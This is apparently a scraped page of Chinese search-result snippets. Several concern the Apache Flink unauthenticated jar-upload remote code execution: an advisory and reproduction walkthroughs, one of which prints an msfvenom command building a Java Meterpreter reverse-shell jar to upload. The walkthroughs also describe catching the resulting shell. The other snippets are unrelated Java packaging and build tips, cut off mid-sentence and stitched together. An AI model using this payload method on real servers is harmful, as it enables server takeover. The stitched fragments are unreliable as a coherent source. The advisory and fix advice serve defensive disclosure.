预警编号:NS-2019-0048 2019-11-14 TAG: Apache Flink、任意代码执行 危害等级: 高,攻击者利用此威胁,可造成任意代码执行。...版本: 1.0 1 概述 近日,有研究员公开了Apache Flink未授权上传jar包的安全风险,攻击者利用该隐患可在未经授权的情况下,上传包含恶意代码的jar包,从而控制目标服务器。...Apache Flink是开源流处理框架,可用于对流数据进行分布式处理,在大数据领域中应用广泛。...jar包上传属于Flink的正常业务功能,但是Flink的Dashboard在默认状态下无需认证即可访问,如果攻击者探测到目标存在Apache Flink Dashboard,利用该威胁可获取服务器权限...SEE MORE → 2影响范围 受影响版本 Apache Flink <= 1.9.1 注:由于Flink的功能特性,推测该安全隐患影响全版本,绿盟科技安全预警团队已在最新的1.9.1版本上测试成功。
0x01 漏洞概述 ---- 攻击者可直接在Apache Flink Dashboard页面中上传任意jar包,从而达到远程代码执行的目的。...0x02 影响版本 ---- 至目前最新版本Apache Flink 1.9.1 0x03 环境搭建 ---- 测试环境:Flink 1.9.1 java8+ Apache Flink 1.9.1安装包下载...https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz 解压后进入bin文件夹...0x04 漏洞利用 ---- 1、上传msf生成的jar包 生成rce.jar文件 msfvenom -p java/meterpreter/reverse_tcp LHOST=127.0.0.1...LPORT=8087 -f jar > rce.jar ?
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。...Dependencies as Tree:以树形式查看所有依赖 log4j版本太低,要求高于2.15版本,右键jump to source,找到对应位置进行修改版本号 参考资料: https://github.com/apache
前言 记一次Apache Flink任意Jar包上传导致远程代码执行复现漏洞过程。 作者一直致力于小白都能看懂的漏洞复现过程,感谢大家们一路以来的支持! 致谢Cx01、丞相等表哥们。...0x01 漏洞描述 近日,有安全研究员公开了一个Apache Flink的任意Jar包上传导致远程代码执行的漏洞....>fuck.jar 名字可以任意取 ?...0x05 批量检测脚本 GitHub地址 脚本源码 """ auth: @l3_W0ng version: 1.0 function: Apache Web Dashboard RCE usage: python3...www.t00ls.net/thread-53784-1-1.html https://mp.weixin.qq.com/s/ArYCF4jjhy6nkY4ypib-Ag https://flink.apache.org
编译java类文件的时候,出现了下面的问题: LoginServlet.java:5: 无法访问 javax.servlet.http.HttpServlet 错误的类文件: D:\学习工具\apache-tomcat...-7.0.73-windows-x64\apache-tomcat-7.0.73 \lib\servlet-api.jar(javax/servlet/http/HttpServlet.class)...后来上网查了一下,应该是tomcat和jdk的版本不对应造成的,也就是引入的第三方jar包的编译器版本与当前编译器版本不一致造成的。
jar -cvfm hello.jar manifest5.mf -C src/ ....myapplication.jar 管理JAR的依赖资源 很少Java应用会仅仅只有一个jar文 件,一般还需要 其他类库。...: java -classpath mail.jar:activation.jar -jar myapplication.jar 在不同的操作系统中,jar包间的分隔符也不一样,在UNIX用“:”,在...activation.jar (加入了Class-Path: mail.jar activation.jar,用空格分隔两个jar包) 这样我们仍然可以使用和上例中相同的命令来执行该程序: java...-jar myapplication.jar Class-Path属性中包含了用空格分隔的jar文件,在这些jar文件名中要对特定的字符使用逃逸符,比如空格,要表示成" ",在路径的表示中,都采用“/”
spring boot项目,使用jar方式打包部署;有时候我们需要替换项目中某个引用jar,又不想将整个项目重新打包。...但是替换jar包中引用的jar包,用这样的方式是不可以的,在替换完成后启动项目,会报以下错误: Caused by: java.lang.IllegalStateException: Unable to...Please check the mechanism used to create your executable jar file # 解决 可通过jar命令先将jar包解压,在解压目录中将引用jar...包替换后,再重新压缩,命令如下(注意替换**为自己实际jar包名称) 解压: jar -xvf ./**.jar 替换引用jar,替换完成后重新压缩打包: jar -cfM0 **.jar ./...最后启动jar即可 nohup java -jar summer-0.0.1.jar --server.port=8080 >summer.log 2>&1 &
Could not resolve artifact org.apache.maven.archetypes:maven-archetype-quickstart:jar:1.1 Failure to...transfer org.apache.maven.archetypes:maven-archetype-quickstart:jar:1.1 from https://repo.maven.apache.org...Original error: Could not transfer artifact org.apache.maven.archetypes:maven-archetype-quickstart:jar...org.apache.maven.archetypes:maven-archetype-quickstart:jar:1.1 from https://repo.maven.apache.org/maven2...Original error: Could not transfer artifact org.apache.maven.archetypes:maven-archetype-quickstart:jar
漏洞描述 Apache Flink是一个用于分布式流和批处理数据的开放源码平台。Flink的核心是一个流数据流引擎,它为数据流上的分布式计算提供数据分发、通信和容错功能。...近日有安全研究人员发现apache flink允许上传任意的jar包从而导致远程代码执行。...漏洞级别 高危 影响范围 Apache Flink <=1.9.1 漏洞复现 首先下载Apache Flink 1.9.1安装包并进行解压,之后进入bin文件夹内运行....接着使用生成jar的木马文件并进行上传,如下图所示: ? 开启msf进行监听并点击提交,可看到成功返回一个shell。如下图所示: ?...修复建议 建议用户关注Apache Flink官网,及时获取该漏洞最新补丁。 临时解决建议 设置IP白名单只允许信任的IP访问控制台并添加访问认证。
运行hive时显示Missing Hive Execution Jar: /usr/hive/hive-0.11.0/bin/lib/hive-exec-*.jar 细细分析这个目录/bin/lib...PATH=$JAVA_HOME/bin:$PATH:/usr/hive/hive-0.11.0/bin 明显可以看出是路径配置的问题,这样的配置系统会在hive安装文件夹中的bin目录下寻找它所需要的jar
1.引入一些jar包之后,有的时候可能会看不到源码,因为这是所属于不同的包 jar 就是一堆.class文件, 源代码编译出来的包, 可以直接运行的 java doc就是这个源文件中的doc 文档注释..., 包括字段, 方法等注释 sources 就是源代码包 另外在Maven本地仓库里面每个Jar包都对应一个sha1文件,spring-boot-1.5.3.RELEASE-sources.jar.sha1...是spring-boot-1.5.3.RELEASE-sources.jar的校验文件。
作为Java程序员,经常会面临一个选择,打完jar包,测试或者上线生产的时候,java –jar or nohup java -jar?...---- java -jar a.jar & 直接启动jar文件,在当前会话进程中开启一个子进程来运行程序,这个子进程会随着会话进程的结束而结束。 这种情况适合短时间测试用。...---- nohup java -jar a.jar& hangup (挂断),终端退出时会发送 hangup 信号来通知其关闭所有子进程。...源 本文链接:https://www.findmyfun.cn/the-difference-between-java-jar-and-nohup-java-jar.html 转载时须注明出处及本声明。
在gradle项目中,使用gradle dependencies先查询jar包的导入关系。然后找到导入的jar加入到项目中来。解决jar冲突等问题。...1.17 | +--- org.springframework.boot:spring-boot-starter-tomcat:1.5.21.RELEASE | | +--- org.apache.tomcat.embed...:tomcat-embed-core:8.5.40 | | | \--- org.apache.tomcat:tomcat-annotations-api:8.5.40 | |...+--- org.apache.tomcat.embed:tomcat-embed-el:8.5.40 | | \--- org.apache.tomcat.embed:tomcat-embed-websocket...:8.5.40 | | \--- org.apache.tomcat.embed:tomcat-embed-core:8.5.40 (*) | +--- org.hibernate
Fat JAR(也称为uber-JAR)是一个包含了其所有依赖项的可执行Java归档文件(JAR),这意味着它不仅仅包含了你自己编写的类和资源文件,还包括了所有你的应用程序运行时所需的第三方库。...要创建一个Fat JAR,你可以使用构建工具如Maven或Gradle,它们都提供了打包所有依赖项到一个JAR中的插件。...将会放在 target 目录下,文件名通常遵循 [artifactId]-[version]-jar-with-dependencies.jar 的格式。...运行你的Fat JAR你可以使用以下命令运行生成的Fat JAR: java -jar target/my-fatjar-app-1.0-SNAPSHOT-jar-with-dependencies.jar...以上就是一个简单的Fat JAR入门案例。如果你使用的是Gradle,步骤将有所不同,但基本概念是相同的:你需要配置你的构建脚本以包含所有依赖,并创建一个可执行的JAR文件。
把要用的jar放在固定位置: 2.打开CMD,进入到libs文件夹: 3.运行如下命令: mvn install:install-file -Dfile=OpenInstall_v1.1.0.jar...-DgroupId=OpenInstall -DartifactId=OpenInstall -Dversion=1.1.0 -Dpackaging=jar 这样就将jar发布到本地Maven仓库中了...命令说明: mvn install:install-file -Dfile=这儿是jar包的完整名字 -DgroupId=这儿随便取名,比如为A ,但是maven依赖在引用时要用这个名字...-Dpackaging=jar 4....就是直接给出jar的存放位置,如下: org.wltea <artifactId
一、获取可执行jar包所在目录 (1)方法一:使用 System.getProperty("java.class.path") 获取classpath的路径,若没有其他依赖,在cmd下运行该可执行jar...包,则该值即为该jar包的绝对路径。...(0,filePath.indexOf(pathSplit)); }else if (filePath.endsWith(".jar")) { //截取路径中的jar包名,可执行jar包运行的结果里包含...("jar包所在目录:"+filePath); (2)方法二:使用 ClassName.class.getProtectionDomain().getCodeSource().getLocation(...")) { // 可执行jar包运行的结果里包含".jar" // 获取jar包所在目录 filePath = filePath.substring(0, filePath.lastIndexOf
-- 指定JDK编译版本 --> org.apache.maven.plugins maven-compiler-plugin...然后在target下找到.jar文件 运行 java -jar xxx.jar https://cloud.tencent.com/developer/support-plan?
Tomcat改jar ##插件修改 --> org.apache.maven.plugins--> war--> jar
一、编译 jar 包 打开菜单栏 File-Project Structure 点击 Artifacts 点击 “+” - JAR - From module with depenencies META-INF...我的 jar 涉及到 GUI。我所以选择 GUI 应用。name 由自己设定。 ICON 需要自己提前去找个图标进行转为.ico 的文件格式。...选择 jar 找到自己放 jar 的位置 选择主类 选择 JRE 版本 min : 1.6 。 max: 1.8 打包完成 点两次下一步。显示下面这个图片。
/xjar java --permit-illegal-access -jar ./encrypted.jar sudo ./xjar java --illegal-access -jar ..../encrypted.jar 3.4 拓展 如果觉得以上加密操作很麻烦,还需要编写单元测试,XJar还提供了maven插件,可以在打包的同时对jar包进行加密。...然后执行加密操作: java -jar classfinal-fatjar-1.2.1.jar -file demo1-0.0.1.jar -packages com.example -pwd 123456...参数说明 -file 加密的jar/war完整路径 -packages 加密的包名(可为空,多个用","分割) -libjars jar/war包lib下要加密jar文件名(...前面提到的绑定机器码,可以使用以下命令在指定机器上获取机器码: java -jar classfinal-fatjar.jar -C 加密时用-code指定机器码。
领取专属 10元无门槛券
手把手带您无忧上云